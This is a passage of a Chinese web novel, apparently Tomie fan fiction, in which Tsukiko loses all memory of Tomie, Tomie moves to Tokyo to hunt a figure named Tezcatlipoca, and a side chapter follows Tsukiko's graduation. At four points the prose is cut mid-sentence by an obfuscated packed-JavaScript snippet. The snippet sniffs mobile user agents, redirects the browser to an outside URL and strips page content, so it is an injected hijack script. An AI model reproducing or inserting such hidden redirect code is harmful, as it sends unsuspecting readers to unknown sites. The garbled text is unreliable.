“我家孩子,受到很多照顾。也麻烦你们百忙之中跑一趟了。” “……不客气。” 小泉凌有些不自然地压了压帽子,垂下眼帘,避开了对方的视线。 “我也只是听从小姐的指示。” 短短几句话,便将自己的身份与富江拉开。 “对了,叔叔阿姨,月子怎么样了?” “啊,那孩子早上就醒了,刚吃过早饭。”泉泽夫人被转移了注意力,热情地带着女孩往病房走。“来来,我带你去看她。” 在一片雪白的病房中,富江看到了靠在床边,正向窗外看着的短发女孩。 她扬起了笑容。 “月子!” 对方听到了声音,随即转过身。 但也就是在这个瞬间,富江察觉到了一丝微妙的不对劲。 “妈妈,怎么了?” “诶呀月子,你朋友特地来医院看你了哦。” 闻言,泉泽月子才转过视线,看向富江。 但她并没有露出笑容,而是皱起眉头,满脸疑惑地问道:“朋友?她是谁啊?” 富江微微睁大眼。 一瞬间,世界仿佛陷入了寂静。 “咦?你这孩子真是……”泉泽夫人看着女儿,又看看呆愣的富江,口气里带了点小小的责怪。“是川上同学啊,以前经常来咱们家玩的。” “可我真的不认识她。” “这……这是怎么回事?月子,别吓唬妈妈啊。” 人类嘈杂的声音似乎离富江非常的远,唯有一道男声,清晰地在她耳边回荡。 “世间万物都有自己的法则,你又如何确定,修复之后的宝石还是你爱着的宝石呢?” “玩耍也要记得度,过头了可能会招致你自己都不想看到的后果。” 原来是这样吗? 原来……是这样啊。 泉泽月子的身体没有任何问题。 虽然昏睡了几天,但她非常健康,各项指标都很正常。大脑,神志,语言逻辑都没有丝毫问题。身边的人和过去的回忆,也都记得很清晰。 唯独川上富江,她怎么都想不起来。 就像是唐突的,被挖去了一大块记忆一般。不管是富江本人,还是与川上富江这个女孩有关的事,都像是夏日阳光下的水汽一般,在她脑子里消失得无影无踪。 就连医生也无法解释这个现象,最终,也只能将其归咎于人脑复杂的构造。 “这……真是对不起啊,川上同学。” 兵荒马乱的检查过后,泉泽夫人将富江送到了医院门口。 “医生说月子还要住院观察一阵,过几天等我们出院了,再去找你行吗?” “阿姨,我没关系的。”面对满怀歉意的女性,富江倒是显得很平静。“你们就陪着月子好好养病吧。” “以后,还请叔叔阿姨好好照顾月子” 她的生意一如既往甜美又软糯,听到的女人却愣了一下,眼神随即变得有些呆滞。 “哎……哎……” “还请保护好她,保护好你们的女儿。” 不要再让她受到伤害了。 “好的,好的,我……我们会保护好月子的。” 得到了女人的答复,富江嘴角的笑容扩大了一分:“回去吧,月子在等着你呢。” 话音刚落,泉泽夫人便愣愣地转过身,回去了。 “……你做了什么?” “没做什么啊。”看着女人远去的背影,女孩的笑容消失了。“只是叮嘱阿姨几句话而已。” 只要有脑子就能看出这“叮嘱”多少有点问题,不过小泉凌已经习惯富江睁着眼睛说鬼话了,没纠结这个。 他现在更好奇泉泽月子的状态。 “那女孩不记得你了。” “是啊,看样子,是唯独失去了有关我的记忆。” 今天的阳光很明媚,明媚得有些刺眼了。 小泉凌压了压自己的宽边帽:“你看起来并不是很惊讶。” 发生一系列变故的时候,他一直在冷眼旁观。发觉泉泽月子不记得自己后,眼前的女孩也只是愣了短短几秒,之后便恢复了正常。 虽然知道她并非人类,但以她对泉泽月子的重视程度,这个反应未免有些过于平淡了。 “那个男人说过的。” 富江的视线依然落在医院的大楼上,但思绪却已经飞到了很远的地方。 “他告诉过我,世间万物都有自己的法则。” 女孩伸出右手,放在自己的心口上:“那家伙挖掉了月子的心脏,而我给月子做了一个新的心脏,修好了她的伤。” 听上去就像是在修复一个损坏的娃娃,但泉泽月子是一个真实的活人。 也就是说,她复活了已经死亡的泉泽月子。 死而复生,本就是有悖于世间常理的东西。哪怕川上富江本人是个能够无限分裂自身,拥有再生能力的怪物,也无法做到复活他人。 被她细胞同化的人类,无一例外最终都走向了毁灭。 但“富江”却不同。 她的力量显然要比川上富江本人强得多,甚至在她诞生于世之后,还在逐步增强。 就好像是——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14494823|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 脑海中冒出那个字的瞬间,小泉凌无声地咽了口口水。 “可是修复好的宝石,也不会再是我心爱的那颗……” 死而复生,是需要代价的。 月子的代价,或者说富江自身的代价,便是那段无可替代的,宛如夏日烟火般,短暂又美好的友情的回忆。 或许从最开始,当泉泽月子决定无论付出什么,都要将已经失去形体的富江从“那一侧”拉回来,而被剖出心脏的时候,代价就已经被决定了。 “……算了,就这样吧。” 说着,富江转过身看向身后的青年,嘴角再度勾起。 “既然月子忘记了一切,那,我的计划也可以提前了。” 她这番轻松的态度,让青年皱起眉。 “你……不觉得难过吗?” 自“富江”诞生,小泉凌便一直注视着她,注视着这个替代了川上富江的怪物。 她像是个刚出生的婴儿,对身边的一切都带有好奇心,甚至以一种奇异的善意对待着世界,用自己的逻辑“爱”着身边的“家人”。 所以他确信,泉泽月子对她来说,并非普通的存在。 而如今,死而复生的少女失去了珍贵的记忆,她却显得非常冷静,连一丝悲伤或是失落的情感都没有。 “难过?为什么?”富江歪了歪头,“忘记了一切的人是月子,又不是我,我还记得啊。” 男人张开嘴,想说些什么,却又什么都说不出来。 无法沟通。 无法理解。 即使披着人类的外壳,模仿着人类的情感,“祂”也确确实实与人类不同。宛如两条无法相交的平行线。 如今,小泉凌无比清晰地,感受到了这份差异的巨大。 “嗯……回去以后就转学吧。” 而富江,虽然察觉到了小泉凌此刻散发出的恐惧之情,但坦白说,她并不怎么在意。 “之后有很多东西要调查,住在东京更方便一些。” 毕竟,之后她要忙的事情可多着呢。 “你要查什么?” “当然是那家伙的身份啦。” 特斯卡特利波卡,那个剖出月子心脏,声称现在的自己毫无杀死价值的,满身神秘的金发男人。 对方看上去并没有特别掩藏什么,甚至还大方地报出了自己的大名,这让搜寻变得简单了起来。 至于为什么富江确定对方没有撒谎,是因为在知晓了这个发音复杂的名字后,男人在她眼中便再也不是无法抓住的虚无之雾。 陌生而复杂的名讳,未曾见过的漆黑匕首。 那家伙很细心地为她留下了两个异常明显的线索。 她和月子生活的小镇虽然和平,却缺少更多的,获取信息的渠道。 而东京,这座灰色的钢铁森林,有着最庞大也是最复杂的信息库和情报网。 另外,除了情报,东京最吸引富江的,果然还要属那庞大的负面情感。 无数人类,动物,甚至怨灵的强烈情感交织在一起,让整座钢铁森林散发出无比诱人的气味。 留在这里,她能够变强。 这是独属于女孩的直觉。 富江心不在焉地玩弄着自己漆黑的长发,将它缠绕在自己的手指上。回忆着金发男人离去前的那句话,眸色陡然变得深邃起来。 “再见那家伙之前,我可得好好做点准备啊。” 27. 第 27 章 川上富江要转学了。 大约是老师办手续的时候被学生听到了,总之这个消息在一天之内迅速传遍了整个学校。 但没人敢去问富江原因。 因为曾经和川上富江交好的泉泽月子已经请假很久,据说人住进了东京的医院。 而之前曾经和富江交往过的男学生,发生过矛盾的同学,要么已经死于非命,要么就是因为精神状态有问题休学退学。 这名少女的美貌并没有被时间或是接二连三的意外事故牵连,反而更加充满了吸引力和神秘性。 但在那魔性的魅力之上,还有一些其他东西,让她身边的人对这位神秘的美丽女孩望而却步。 那是一种无法言说的,发自内心而来的,奇妙的恐惧感。 富江本人当然察觉到了这个明显的变化,但她并不是很在意。 转学听上去简单,其实事情还不少,虽说养父家里非常富裕,小泉凌也恢复了能够四处自由行动的状态,但很多事情还是需要作为转学生的她本人出面的。 总之,等转学事务办得差不多的时候,泉泽月子也终于从东京的医院回到了学校里。 月子返校的那天,就是富江在学校的最后一天。 “那个,川……川上同学。” 从老师办公室出来的时候,富江被月子叫住了。 “抱歉,请问你现在有时间吗?” 她的口气很生疏,神情也有些迟疑,是富江完全没有接触过的,看上去有些陌生的月子。 已经完全不认识她的月子。 “有什么事吗?” 但即使是这样,面对态度如此生疏的女孩,她的内心却依然飘忽忽的,像是滚在棉花里,连说话的语气都是温柔的。 短发女孩低下头:“就是……听说你要转学了,所以想和你单独聊聊。” 富江勾起一抹微笑:“好啊。” 她们将单独聊聊的地点定在了天台,没分到同一个班级以前,她俩就是一直相约在天台吃午饭,聊悄悄话。 只是如今,再来的两人都和当初的状态有所不同了。 “月子找我是有什么事吗?” 泉泽月子看了看富江,神情有点迟疑:“这个,说来有点复杂,就是……我住院的时候妈妈和爸爸说了很多关于你的事情。听说是你找到失踪的我的,那个,真的谢谢你。” “不用道谢。”富江弯着嘴角,“这是我应该做的。” “不是这样的。”短发女孩摇了摇头,“因为我真的什么都不记得了,所以,最起码这句话还是要好好向川上同学说出来的。” 对泉泽月子来说,就像是某天躺上床睡了一觉似的,再睁眼睛的时候,女孩就发现自己躺在了医院的病床上。 闻言,富江微微睁大了眼睛:“也就是说,月子失去了这一年多的记忆?” “嗯……不知道为什么会变成这样,因为我失踪之前也没跟父母说什么。” 月子不知道,但富江知道。 她与泉泽月子结识于一年多以前,那时候,她刚被姐姐召唤出来,对一切还都充满好奇。 而月子,只是个热爱摄影,想拍她的照片赚点零花钱的普通女高中生。 特斯卡特利波卡挖出的,不仅仅是泉泽月子的心脏。或者说,那颗心代表的,并非只有一个人的生命力。 还有她与她的友情,回忆,点点滴滴。 那段美好珍贵的回忆和情感化作剧毒,让富江在降临于世之后第一次品尝到了无与伦比的痛苦。虽然削弱了她,却也将她从即将暴走的边缘拉了回来。 月子失去了那颗心,也就失去了与她有关的感情,记忆,一切。 即使富江能够利用自己的力量挽救女孩的生命,甚至制造一颗新的心脏出来,失去的终究也是无法被找回来的。 哪怕是她也无法做到。 “我听他们说你……川上同学要转学了。” 月子的声音将富江的思绪拉回了现实。 “是,因为我吗?” 话音刚落,一阵风轻轻从二人之间吹过,带起了富江漆黑的长发。 耳边响起了学校的上课铃,她闭了闭眼:“月子以前有跟我说过,自己想去读东京的大学,想学习更多和摄影有关的知识。” 月子咬了咬唇,沉默了。 无法反驳,因为这确实就是她本人从未宣之于口的愿望。 这一瞬间,她清晰地意识到了过去的自己与这名叫做川上富江的女孩有多么的亲密。 可无论怎么努力,月子还是没办法回想起这段记忆。哪怕现在和曾经的友人面对面站在一起,她心中也毫无那种电视剧里会出现的,所谓的熟悉感。 面前的人就真的像是个忽然说出了她内心深处愿望的陌生人一样,只让泉泽月子感觉到了奇异的割裂和不真实。 富江察觉到了对方的表情变化,笑了起来:“所以,我转学和月子没什么关系,因为虽然是朋友,我也有自己要做的事。” “只是,你失去记忆这件事加快了推进的速度而已。”长发女孩歪着头,专注地看着曾经的朋友。“如果月子没有失忆,我大概会在这里待到考大学结束,然后我们一起去东京。但其实学校里的课题对我来说已经有些简单了。” “也……也就是说……” 泉泽月子只是失去了部分记忆,并不是连话都听不懂。 “其实你留在这里才是因为我?” 富江点点头:“现在的话,我就可以更快地推进自己的求学计划,毕竟东京的话,跟国外接轨的资源也会更多一些。” “国外?” “嗯,因为我想学习的专业基本都在国外。” 她的话勾起了月子的好奇心:“是什么样的专业啊?啊对不起,因为我已经不记得了所以——” “和民俗文化,神话故事相关。没关系,我以前也没跟月子说过。” 特斯卡特利波卡的面容浮现在脑海中,富江垂下眼帘,暗红色的波浪在眼中涌动。 “也是前阵子才想好的。而且如果告诉你,你一定会很生气,叉着腰逼我赶紧转学去东京呢。” “诶?!呃……”月子有些尴尬地挠了挠鼻子不好意思地笑了。“也,也不至于会这样吧?哈哈哈……好吧,如果你真是我很重要的朋友,可能,是会生气。” 短短几句话,两个女孩之间的距离近了不少。 见好友露出自己熟悉的笑容,不知怎么的,富江的心忽然抽了一下。 那种感觉过于怪异,让她脸上的笑容都淡了一些,情不自禁地皱了下眉头。 “怎么了?” 她细微的变化没有逃过月子的眼睛。 “……没有……”怪异的感觉只持续的短短一瞬,所以富江只能疑惑地摇摇头。“刚才稍微有点不舒服。” “可能是天台风太大了,我们还是下去吧。” “嗯,刚好我也要离开学校了。” 这时候月子才总算又想起来,今天是川上富江在学校的最后一天了。 只聊了不到半小时,女孩心中已经微微有些不舍。 虽然初见时并没有所谓的潜意识情感波动,但短短这一会儿,她已经有了两人很投缘的感觉。 “那个,总之,我会朝着自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14507464|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目标继续努力。” 压下心中的遗憾和那种淡淡的不舍,泉泽月子扬起一个明媚的笑容,向面前美丽的女孩送上了最诚挚的祝福。 “川……富江在东京也要加油啊。” 那种奇妙的感觉又短短地出现了一下,但富江已经无暇顾及自己身体的状态。 她看着泉泽月子熟悉的笑容,嗅着空气中熟悉的,女孩发自灵魂的善意,情不自禁地也露出了一个明媚的笑。 “嗯,我会加油。月子,会一直幸福下去的。” 她的笑容过于美丽,甚至让泉泽月子都晃了一下神,没能对女孩离别前最后一句话及时产生反应。 富江没有撒谎。 从今往后,不管泉泽月子选择怎样的人生道路,她将会一直平平安安地活下去,度过一生。 就算未来依然有超自然现象找上她也没关系,因为,她会一直看着她的月子。 小泉凌的车就停在校门口,富江上车后,他瞥了一眼女孩的面容,开口问道:“发生什么事了吗?” “唔,和月子道了个别。” 车上只有他们两人的时候,富江向来是坐在副驾驶的。 “为什么要这么问?” 男人握着方向盘,目不斜视:“因为你露出了很少见的表情,所以我有些好奇。” “这样吗?” 闻言,富江随手打开了放在车里的镜子,开始仔细端详起自己的脸来。 “唔……好像,是有点不一样?为什么呢?” “是你自己和那女孩说了话的,我怎么知道。” 恢复原本的容貌,或者说意识到“富江”的本性后,小泉凌对她的语气也不像过去那样毕恭毕敬。有时候,外人听上去,甚至可能会觉得这个男人有点不耐烦。 但偏偏,富江本人完全不会生气。 “嗯……原来如此。可能是因为我发现,月子就算失去记忆,也完全没变,所以有点高兴吧。” 话音刚落,回忆起刚才心口的抽动,女孩一反常态地沉默了几秒,最后主动选择将话题岔开了。 “说来,手续办得怎么样了?” “很顺利。”刚从东京办完购房手续的青年回答道,“那栋凶宅很有名,知道我们想低价买下来之后也不会追责,他们很快就同意了。手续的话,大概一周左右能办好。” 说完,恰逢红灯,车停了下来:“为什么是练马区的那幢一户建?” 搬去东京也是要有地方住的,小泉凌自己的公寓肯定不合适。 但富江却偏偏选中了佐伯家的那幢凶宅,也就是泉泽月子死亡的那幢屋子。 “那幢屋子,不是已经没有诅咒了?” “我确实说过这样的话。”富江对着镜子整理着头发,慢条斯理地回答道。“但叔叔,你知道吗?诅咒这种东西啊,可不是漫无目的地扩散出去的哟。” 佐伯伽椰子的怨念无人能够化解。 而那幢房子,在怨念与诅咒漫长的浸淫与改造下,也早已与众不同。 它会像是接收器与发信器一样,传染散播那些怨恨与诅咒,最终,扩散出去的怨念也会回到这幢房子。 这不就是针对她的,最完美的用餐地点吗? 想到这,女孩满意的笑了。 在重新见到那名神秘的金发男人之前,她一定会乖乖按照对方所想的那样,悉心地,认真地,一点点成长,一点点变强。 这样,即使富江找不到特斯卡特利波卡的踪迹,最终,那个男人还是会出现在她面前的。 毕竟,他说过,会来亲手杀死她。 她相信他的许下的诺言。 28. 第 28 章 一年后。 列车有些缓慢地行驶在山路上,窗外茂密的树木不断向后退去。 “……富江?富江?” 耳边传来的呼唤声,将富江的思绪拉回了现实。 “嗯?怎么了加奈?” 她转过头,视线落在了与自己同行的一名女生身上。 “还有几小时就到站了,我们要先去旅馆办入住。” 被称作加奈的女孩是此次与富江结伴在旅游的同伴之一。虽然同为日本人,但热爱旅行的她与富江平日里见到的东京女孩们都不一样,活力四射且平易近人。 “你有什么想逛的景点吗?” 虽然只是报了旅行社相同项目,之前完全不认识,但听闻富江也是第一次出国后,加奈和她的好友很快就接受了这位美丽的同伴。 是的,出国。 现在,三名来自日本的女孩,正坐在行驶于东欧大地的火车上。 她们此行的目的地,是斯洛伐克的某一个小镇。 “……嗯……其实除了第一天,我也没什么特别明确的目标,就听你们的吧。” 要问富江为什么会出国旅游,还得从她搬离小镇前往东京之后说起。 到达东京后,身边没有了人类好友无需继续伪装,富江开始以一种恐怖的速度进行自我成长。 她不需要睡眠,只要是看过或是听过一次的信息与知识便可以牢牢地记在脑内。 靠着这些非人的能力,短短几个月,她就赶超了在之前学校的学习进度,顺利地考上了目标的大学进入了选择的专业。 一切种种,都只为了调查那把匕首。 即使靠着小泉凌的人脉,他们也只能查到匕首的原材料是黑曜石,形成的年代非常久远且并非日本本土的东西。 而它究竟属于哪里,就得依靠专业人士的能力来辨认了。 大学生活的种种略过不提,总之,通过民俗文化以及考古系的教授们的考察,最终,那柄匕首的来源地被确定为了美洲。 那是一个距离东京十分遥远的,承载着另一批国度与文化的,广袤的土地。是富江从未踏上,仅仅只能在电视与书本上了解的地方。 教授告诉她,黑曜石匕首上具有着美洲原住民文化独有的特征。 依照这个,富江也终于在茫茫书海中寻找到了那名金发男人的一条线索。 特斯卡特利波卡,这个名字并非空穴来风。甚至于在美洲的某些文化里,可谓如雷贯耳。 这是阿兹特克神话中,一位伟大神明的名字。 但线索到这里也就戛然而止了。 简单来说,美洲的古代文明即使在东京最好的大学里,也是非常冷门的研究。哪怕是富江,在知晓了重要线索后,于图书馆中翻找出的资料也是寥寥而已。 既然日本没有,那她便去别处找。 因为就算是借助网络,能找到的资料也基本都是国外的,搜集线索的时间和精力成本都大大增加,准确度也不高。 既然这里已经没有她想要的东西了,换一个地方也很正常。 换句话说,只要她持续成长下去,接触更为广阔的世界也是迟早的事。 一想到就连这个可能都在对方的计划之后,内心深处,那种像是被什么东西冲撞碾压的不适感就更加强烈。 简单来说,就是她现在很“不爽”。 “富江,你确定第一天不和我们一起行动吗?” 将女孩思绪拉回来的是加奈的同伴,一位叫做“雪”的女孩。 和加奈不太相同的是,她虽然也很热衷旅游,但英文却不太好,所以平时都不怎么和外国人交流。 不过注意到富江英文很好以后,两个女孩反而会更喜欢和她一起行动一些。 “抱歉啊,我第一天要去见一位退休的教授,所以没办法和你们一起了。” 根据学校教授那里得来的线索,欧洲研究美洲原住民文化最厉害的教授从著名大学退休后,回到了自己在斯洛伐克的老家修养。 富江这才开始了自己的第一趟异国之旅,也就是此次东欧行。 想了想,她又补充了一句:“听盐田老师说,这位基斯卡先生以前在大学里就是出了名的脾气不好,这次也是因为我的专业很特别,还专门来欧洲找他取材,才松口愿意接待的。” “哦,好吧,真遗憾。” 加奈无奈地耸耸肩。 “不过也可以理解,感觉这种厉害的人多少都有点性格古怪。” 因为快到站了,女孩们开始收拾东西。富江的行李少,便安静地坐在一旁,看起了自己带的书。 其实在提出这个要求的时候,她也曾经受到过来自小泉凌的强烈反对。 “不行,我不同意!” 向来对富江逆来顺受的青年第一次反应如此激烈。 “国内也就罢了,出国绝对不行,而且还是东欧……你知不知道那边很危险?!” 女孩闻言歪了歪脑袋:“比我还危险吗?” 这句话成功让男人哑口无言。 “……总之,我不同意,出国这件事风险太大了。” 说这话的时候,青年没有看富江的眼睛。 这让她笑了出来。 “真的只有这样?” “什么?” 富江本来是坐在沙发上的,闻言站起身,站到了小泉凌身边。 他很高,以至于女孩不得不仰起头来看着他的脸:“叔叔不让我出国,真的只是觉得风险太大了吗?” 男人像是被戳到了痛脚一般,刚准备后退,她又抢先道:“不要动。” 话音刚落,像是有魔力一般,青年的身体定格在了原地。 富江饶有兴趣地端详着小泉凌。 自从搬来东京,他们就一起住进了佐伯家。 得益于容貌被恢复,小泉凌现在想要外出自由活动变得容易多了。 “我出国的话,对叔叔来说,反而是一件好事啊。” 男人的身体动弹不得,但紧皱的眉头以及忽然变得激烈的心跳,却告诉了富江,他并没有表现得那么游刃有余。 “因为我出国了,你不就可以每天都去观察那些带有姐姐血液的女孩了吗?” 小泉凌的嘴角抽搐着,似乎想说什么。 但在富江简单的命令之下,他只能站在原地,无法说话,也无法动弹。 是的,富江一直都知道。 眼前的男人,并没有放弃对自己姐姐的研究。 “我啊,问过保子姐姐哦,为什么她会认识叔叔。” 女孩微微踮起脚尖,白皙而柔软的手指整理着青年的衣领。 “保子姐姐告诉我,她以前有个妹妹,叫彩香,很可爱的名字,对不对?” 她的手指顺着衣领,攀附到了青年的皮肤上,瞬间被脖颈那里流下的汗水沾湿了。 感受着皮肤下脉搏激烈的跳动,富江脸上的笑意又明媚了几分。 “告诉我叔叔,那些女孩现在,还有没有变成姐姐?” 下一秒,男人猛然向后退了几步,大口大口地喘息着。 “……你,什么时候知道的?” 说完,他自己都笑了起来,随即无力地跌坐到了地上。 “不,不对,你一直都知道。什么都知道。” 小泉凌一直都在“培育”着富江,或者说,曾经的川上富江。 毁容之后的他一直在追查着川上富江的踪迹,发现这个女人既不会老去,也不会死亡,甚至可以通过分裂来达成不老不死。 但作为一个人生被川上富江毁掉的人,男人最大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14534164|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的愿望便是看到这个女人“老去”。 当他发现富江的血液也可以不断增殖,甚至感染普通人以后,一个可怕的想法便在脑海中诞生了。 他要培育出一个能够老去的“川上富江”。 他要一点点看着那个不可一世的女人容颜不再,垂垂老矣,陷入愤怒,变得疯狂。 保子便是他在这个实验中遇到的,唯一一个“帮凶”。她的妹妹彩香也是计划的试验品之一。 但就在实验进行的过程中,真正的川上富江出现,并且指示自己的信徒杀死了已经和自己如出一辙的彩香。 而他和保子,也追逐着川上富江的脚步来到了那个小镇上的宅邸。 然后—— 青年抬起头,看着跪在自己面前,捧着他的脸的女孩。 他们窥见了不可窥见的,某种存在的一角。 “……自从你出现之后,她们的富——她们,都变得不像是你姐姐了。” 小泉凌没有撒谎。 自从“富江”出现,真正的川上富江被彻底压制。那些被他注射了富江之血的女孩,无论大小,富江化的进程都像是停滞住了一般。 这些女孩虽然有着优于常人的外貌,却还并没有彻底变成川上富江。 那些曾经拥有强大生命力的细胞就像是被摁下了暂停键一般,潜藏进了这些女孩的体内。 “嗯……毕竟我的姐姐只有一个人嘛。虽然她脾气很差,但我还是很喜欢她的。” 得到了对方的答案,富江开心地笑了起来。 “叔叔也真是,都这么久了,还是这么喜欢姐姐。” 男人的表情扭曲了,但富江丝毫不在意。 感受着浓重而激烈的负面情绪,女孩露出了猫儿一样的,餍足的神情:“叔叔,就让我去看看吧,这对我来说很重要。” 她模仿着在电视,书本上见过的,孩子向大人许愿时的撒娇,伸出双臂,环住了青年的脖子。 “只要你同意,不管是想见姐姐,还是其他什么都可以,我都会帮你实现的。” 不同于月子,小泉凌身上总飘散着很好闻的,像是美食珍馐一般的味道。 一闻到这个味道,她的心就痒痒的,像是被什么东西抓挠一般。 情不自禁地,少女将脸凑到了青年脖颈边,不断嗅闻着只有她才能感受到的,美食的味道。 全然不顾青年越绷越紧的身体,以及耳边逐渐粗重的呼吸声。 “呐,求求你啦——” “你在想什么啊,这么高兴?” “嗯?啊,没事,就是想起了一些高兴的事情。” 压制住体内因为回忆不断翻涌,欢呼着,鼓动着,还不够满足的泥,女孩笑着,下意识舔了舔嘴唇。 “我在想给家人要带什么礼物回去,还有……现在肚子有点饿了,想吃东西。” 列车正在驶进三个女孩本次目的地的车站,同行的小雪兴奋地打开了车窗。 那股与曾经佐伯家不相上下,甚至还要强烈的“香气”,顺着窗户,飘进了车厢内。 同时,伴随着鸣笛声与引擎声,她的耳朵还捕捉到了另外一些声音。 非常遥远的地方传来的,无数人凄厉、痛苦、满是绝望的哭喊声。 是了,都怪这股味道,还有这些四处逸散的能量,害得她一路上食欲旺盛到不得不靠着回忆自己在家品尝美味,才勉强压制住身体里那股吞吃掉一切的“本能”。 “你可真是个小贪吃鬼。” 加奈完全没有意识到坐在自己面前巧笑嫣兮的美丽少女有多么危险,听闻也只是笑着调侃了一句。 “等去城里,我们就能品尝到当地美食了。” 富江嘴角的弧度又扩大了一点。 “是啊,我很期待这次的旅途。” 29. 第 29 章 月子番外 “泉泽同学,恭喜你毕业!” 伴随着纸花炮的砰砰声,身边的人欢笑着,为短发女孩献上了毕业的花束。 今天,是泉泽月子的毕业日。 在经历了平淡又紧张的一年后,女孩如愿考上了东京最心仪的大学。假期一过,就会和母亲一同搬去那个繁华的钢铁森林。 终于不用再全家分隔两地,月子当然是开心的。况且今天是毕业典礼,平日里和她保持距离的同班同学们也都扬起笑容纷纷献出祝福。 今天是开心快乐的一天。 原本应该是这样的。 但当大家安静地坐在礼堂里,认真倾听校长和学生代表的演讲,看着讲台上有着一头黑色长发,齐刘海的女代表,猛然,那个女孩的脸又浮现在了月子的眼前。 川上富江,曾经这个学校,甚至这个小镇上最美丽的女孩子。 高三刚开学没多久,她便匆匆转学,离开了小镇。 而那个女孩,曾经是月子最好的朋友。 “月子……你,真的不记得了吗?” 即使到现在,月子的母亲也会偶尔在家里发出类似这样的疑问。 “对不起,妈妈,但……我真的不记得了。” 女孩也是这样,不厌其烦地回答着每个人的问题。 自从那一日从医院的病床上醒来,月子便将与川上富江有关的记忆遗忘的一干二净。 连最好的脑科医生都查不出来她的脑子出了问题,到最后也只能归咎到心理原因上。 曾经月子也怀疑是不是她和川上富江之间发生了什么矛盾,但…… “月子,会一直幸福下去的。” 那时,站在屋顶,女孩明媚又美丽的笑就会提醒她,她不是那样的人。 那个笑容,是月子短短十几年人生里见过的,最真挚,最美丽的神情。 阳光洒在女孩乌黑的长发上,折射出珍珠绸缎一般的光泽。她的皮肤吹弹可破,白里透着健康的淡粉。那双大大的杏眼笑的时候弯起来,里面像是夹杂着点点璀璨的星。 没有来由的,她相信自己和女孩之间没有任何矛盾。 行走在飘洒着樱花瓣的树下,度过毕业典礼的学生们纷纷与同伴一起离开学校。月子也不例外,今天父母难得一起都在家里。 不过在和父母一同庆祝毕业典礼之前,月子还有一个地方要去。 “打扰啦老板,我来取那天送来的胶卷了!” “哦是月子啊,正等着你呢。” 学校附近照相馆的老板,是一位很和蔼的大叔。月子因为对摄影感兴趣,和店主关系一直不错。 之前考完大学,她在家里发现了两枚封存的很好,一看就已经使用过的胶卷。 因为不知道内容是什么,月子将它们送到了照相馆。 “怎么样,里面的照片没问题吧?” “完全没问题,不过……”店主先是笑了笑,随即神情变得有些迟疑。“嘛,还是你自己看看吧,照片拍的都很好哦。” 月子接过相册,目光落下,照片上,一个身穿长裙,戴着草帽的黑发女孩正站在街角,笑得非常明媚。 是川上富江。 这是她为川上富江所拍的照片。 难怪店主会犹豫,毕竟他也知道自己短暂失忆,富江转学。这种有可能会戳人伤口的事情,谁都不愿意做。 照片上的季节似乎是夏季,地点也不在镇上,应该是东京。她们二人似乎结伴去东京游玩,而在这个过程中留下的影像就记录在了这两卷胶片里。 相册中的照片,基本上都是川上富江的一人照。 有阳光明媚地笑着的,有走在路边发呆的,还有背影,抓拍,各种各样。 只看一眼,月子就知道,这是自己的手笔。 不过偶尔,也会出现一些没什么摄影技巧,主角也并非富江的照片。看样子,像是她们俩找人帮忙拍摄,或者是富江拍下的,月子的单人照。 看着照片上开心地笑着的自己,月子的心中却空落落的,翻不起什么波浪。 意识到这一点的瞬间,女孩皱起眉,心里忽然变得有些不是滋味。 她还是什么都想不起来,脑子里空空的,连一点所谓的既视感都没有。 即使看到照片上自己和富江开心的笑容,浮现出的第一个想法也是她们笑的很开心。 是她们,而不是自己。 其实好几次她都怀疑,失去那段记忆的时候,自己是不是被什么东西取代了。取代了她的存在用她的身份,享受着父母的爱,和富江做起了好朋友。 但想起在屋顶和自己告别的女孩,她却能说出自己从未宣之于外人的愿望,把她会说的话,会做的事都猜的八九不离十。 可她还是记不起来。 自从那日之后,月子觉得,自己的心像是被挖空了一块。 回忆起那种面对川上富江时的虚无与抽离感,没来由地,她感到了烦躁。 “啪”地一声,女孩合上了相册。 “怎么了月子,不满意这些照片吗?” 店主有些迟疑的话语传到了月子的耳中,她才忽然从那种烦躁又空虚的感觉中抽离了出来。 “啊,不,不是。” 手指接触到相册光滑而坚硬的封面,女孩抿了抿嘴唇。 “谢谢你店长,这些照片我都很喜欢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 